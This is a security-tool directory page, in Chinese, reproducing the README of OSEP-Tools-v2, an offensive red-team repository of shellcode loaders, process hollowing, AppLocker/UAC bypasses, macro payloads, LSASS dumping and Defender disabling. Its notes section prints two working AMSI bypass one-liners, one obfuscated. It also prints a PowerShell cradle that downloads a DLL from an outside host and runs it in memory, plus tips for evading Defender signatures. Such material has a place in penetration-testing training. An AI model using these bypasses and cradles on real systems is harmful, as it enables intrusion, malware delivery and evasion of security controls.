Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
OSEP-Tools-v2 — Octoberfest7/OSEP-Tools 与 chvancooten/OSEP-Code-Snippets 的结合,并附带一些改进和新增内容 | Kitploit
工具/GitHubGitHub/hackinaggie/osep-tools-v2
权限提升IDS/IPS规避Shellcode后渗透利用渗透测试命令与控制学习与教育红队Payload 开发对抗性攻击
GitHubhackinaggie/osep-tools-v2
1242310个月前Kitploit 审核通过
分享

OSEP-Tools-v2

Octoberfest7/OSEP-Tools 与 chvancooten/OSEP-Code-Snippets 的结合,并附带一些改进和新增内容

查看仓库

OSEP Tools v2

这是 Octoberfest/OSEP-Tools 与 chvancooten/OSEP-Code-Snippets 的结合。感谢这些人为真正的工作所付出的努力。

显然,我对这些仓库做了一些改动。了解我所做改动的最简单方法是查看提交记录以及下方我的变更日志部分。我重写/重新格式化了这些工具的文档,修复了一些零散的问题,并在旧项目的基础上添加了一些相当不错的功能。

我的大部分精力都集中在为 shellcode 加载 C#/PS 项目、AppLocker 绕过以及杂项内容添加功能上。我收录了 OSEP-Tools 的大部分内容,以及 OSEP-Code-Snippets 中一些此前尚未涵盖的项目。请记住,这里的项目主要是为你提供一个起点,你可以在此基础上扩展和升级你自己版本的工具。

下面是一个简短的目录、一些说明、我的变更日志,以及来自 OSEP-Tools 原始仓库作者的免责声明。

目录

模块描述子模块
Active_Directory辅助 AD 枚举/利用的工具sql
AppLocker_Bypass辅助绕过 AppLocker 的工具altBypass, DLLInject64, DLLRunner32, psBypass
Linux辅助在 Linux 主机上执行 shell 的工具Linux_Shellcode_Encoders, Linux_Shellcode_Loaders
Loaders_Disk辅助将 shellcode 从磁盘加载到内存并执行的工具ASPX_Inject64, ASPX_Runner64, clrunner, clhollow, clinject, D_invoke
Loaders_Memory辅助将 shellcode 从内存加载到内存的工具。通常是在 powershell 中远程获取的脚本。powerhollow.py, powerinject.py
Macros辅助从 Word VBS 宏中从内存或磁盘执行 shellcode 的工具WordMacroRunner.vbs, WordMacroRunnerBasic.vbs, vbObfuscate.ps1, WordPsCradle.vbs, WordMacroInject.vbs
Misc辅助杂项事务的工具,例如 AV 枚举、自动化、转储 LSASS 内存,以及利用 win32 API 实现 RCEAV_Stuff, Autos, PSLessExec, MiniDump
Privilege_Escalation辅助 Windows PE 的工具PrinSpoofer.Net, shakeitoff, UACBypass.ps1

OSEP-Tools-v2 更新日志

  • 11/25/2023
    • Initial commit; File structure changes, README updates/prettifying, repo merging
  • 11/26/2023
    • Updated WordMacroInject.vbs to be able to inject when ran from a 32-bit Word process
    • Updated WordMacroInject.vbs to enumerate 32-bit processes and inject into a process other than WINWORD.exe
    • Updated Disable-AVProduct.ps1 to better enumerate security products
    • Added Misc/Autos directory to automate common processes; Added Create-Admin.ps1
  • 12/01/2023
    • Updated Disable-AVProduct.ps1 to actually disable windows defender (using provided cmdlets/registry keys, nothing crazy)
    • More thorough minifying of Disable-AVProduct.min.ps1
    • Fix powerhollow.py and powerinject.py payloads to not fail if no Amsi found
    • Add input checks to ensure hollowing targets are valid
  • 12/03/2023
    • Compile all projects to single directory for ease of access
  • 12/13/2023
    • Fix D_invoke dependency issue. Modify underlying build command to allow build error debugging
    • Add reverse shell functionality to altbypass
    • Add new formatter bin_to_vbappArray.py
    • Update powerinject.py payloads to always execute in a 64-bit process
  • 01/06/2024
    • Update powerinject.py target injection process identification method. Add any target option.
    • Add clrunner payload. Add InstallUtil bypass to all cl* Shellcode Loaders.
    • General Optimization of projects mapped to payloads/ directory.
  • 01/07/2024
    • 添加 DLLInject64 和 DLLRunner32。移除 nonDN2J.hta。
  • 01/14/2024
    • 添加 ASPX_Inject64 和 ASPX_Runner64 项目
    • 将 Loaders_PEs 重命名为 Loaders_Disk,将 Loaders_Shellcode 重命名为 Loaders_Memory,并在它们之间移动项目。
  • 01/20/2024
    • DLLInject64 和 DLLRunner32:移动到 AppLocker_Bypass,添加 AMSI Bypasses,并添加 XSL + HTA Payload 示例。
  • 01/04/2025
    • 合并 johto89:main... 但移除 OSEP-Code-Snippets/ 目录(感觉这不符合本仓库的宗旨。我只收录了该仓库中我认为有用的项目)
    • 重新添加 paylods/Active_Directory。移除 Other/nc_shellcode.txt。重新放置 AD Cheatsheet。

待办事项

  • 实现此处所示的动态 AMSI 搜索能力:https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/
  • 更新 AV_Stuff 脚本
    • Add AppLocker Rules disabling option to Get-AppLockerRules.ps1
    • Add DisableLSA script using my private notes
  • 修补 /bins 中的 x64_met_staged_reverseHttps* payload,因为它们无法正常工作。tcp 的可以正常工作。
    • Notes in the Loaders_Shellcode readme
  • 集成更多 OSEP-Code-Snippets
  • 更新 UACBypass.ps1

备注

Powershell AMSI bypass:

  • Win10
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
  • Win10+Win11
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](https://github.com/hackinaggie/osep-tools-v2/blob/main/%22%7B1%7D%7B0%7D%22-F%27F%27%2C%27rE%27) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
  • Powershell Dll 下载 cradle(使用 D/invoke 构建器生成的 payload 时,替换 ip/文件名,其余保持不变!):
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.1.195/basic.dll');$assem = [System.Reflection.Assembly]::Load($data);$class = $assem.GetType("dll.Class1");$method = $class.GetMethod("runner");$method.Invoke(0, $null)  

使用 Powerinject/Powerhollow 时,请务必考虑你是要从 powershell 还是 cmd.exe 调用 PS download cradle,并在构造 payload 时使用相应的模式。当你从 cmd.exe 甚至从另一个 powershell 窗口调用 powershell.exe 时,你是在创建一个子进程;虽然内嵌的 AMSI bypass 可能对子进程有效,但父进程会检测到子进程执行恶意操作并将其标记。

  • 不要将 msfvenom 编码器与任何 Hollowing 工具一起使用。会导致问题。

注入工具

你的注入目标必须具有与你执行代码的方法相同或更低的完整性级别。也就是说,如果你以 medium 完整性级别运行,则无法注入到 spoolsv,请注入到 explorer。

Hollowing 工具

用于 PPID 欺骗的目标父进程必须具有与你执行代码的方法相同或更低的完整性级别。也就是说,如果你以 medium 完整性级别运行,则不能将 spoolsv 指定为父进程。被 Hollow 的进程将继承父进程的完整性级别。

发现

  • 最新补丁的 Defender(2021 年 10 月)似乎对 AutoOpen() 具有基于 "AND" 的签名。它可以在宏中用于良性目的,但一旦包含 API 调用(或至少是 shellcode runner 中使用的内容),就会触发基于签名的检测。
  • RtlMoveMemory API 调用已被签名。请改用 RtlFillMemory。
  • 在准备对其进行 patch 时,请以动态方式或经过重度混淆的方式解析 Amsi.dll 及其内部的函数调用。
  • 使用 Migrate 后的 Meterpreter shell 有时似乎会被 Defender 捕获……但对于直接的注入 payload 似乎并非如此。

资源

  • https://depthsecurity.com/blog/obfuscating-malicious-macro-enabled-word-docs
  • https://secureyourit.co.uk/wp/2020/04/18/enumerating-process-modules-in-vba/

免责声明

@Octoberfest7

所有这些工具都是为在 OSEP 课程中使用而开发的。在开发过程中,随着我学到更多,很多时候我超出了课程所教授的范围,因为我认为“为什么不针对最新补丁的 AV 来构建东西呢?”。这并不是说此仓库中的所有内容现在都能击败 Live Defender;然而,它们中的大多数在某个时候确实做到了。我希望它们能对其他人有用,无论是直接使用,还是作为进一步工作的灵感。

这里几乎没有真正新颖的技战术;它是远比我聪明的人们提供的无数资源的组合。我在这里所做的大部分繁重工作都是为了实现自动化。我想要一种简单、标准化的方式来生成用于 OSEP 课程的 payload。此仓库中包含的所有 powershell 和 C# payload 都对 shellcode 使用了 AES-256 加密,以及用于沙箱检测/规避的 sleep 语句。

使用这些东西时,我不提供任何形式的保证。这里没有任何内容是为公开发布而设计的,我是在收到许多请求后才这样做的。请务必阅读本 README 中针对每个工具提供的说明。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    411
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    由 AI 驱动的 OSINT 引擎,可在网络上发现并映射 7,700+ 个社交媒体身份

    275

探索所有工具

浏览我们的工具集合

查看所有工具 →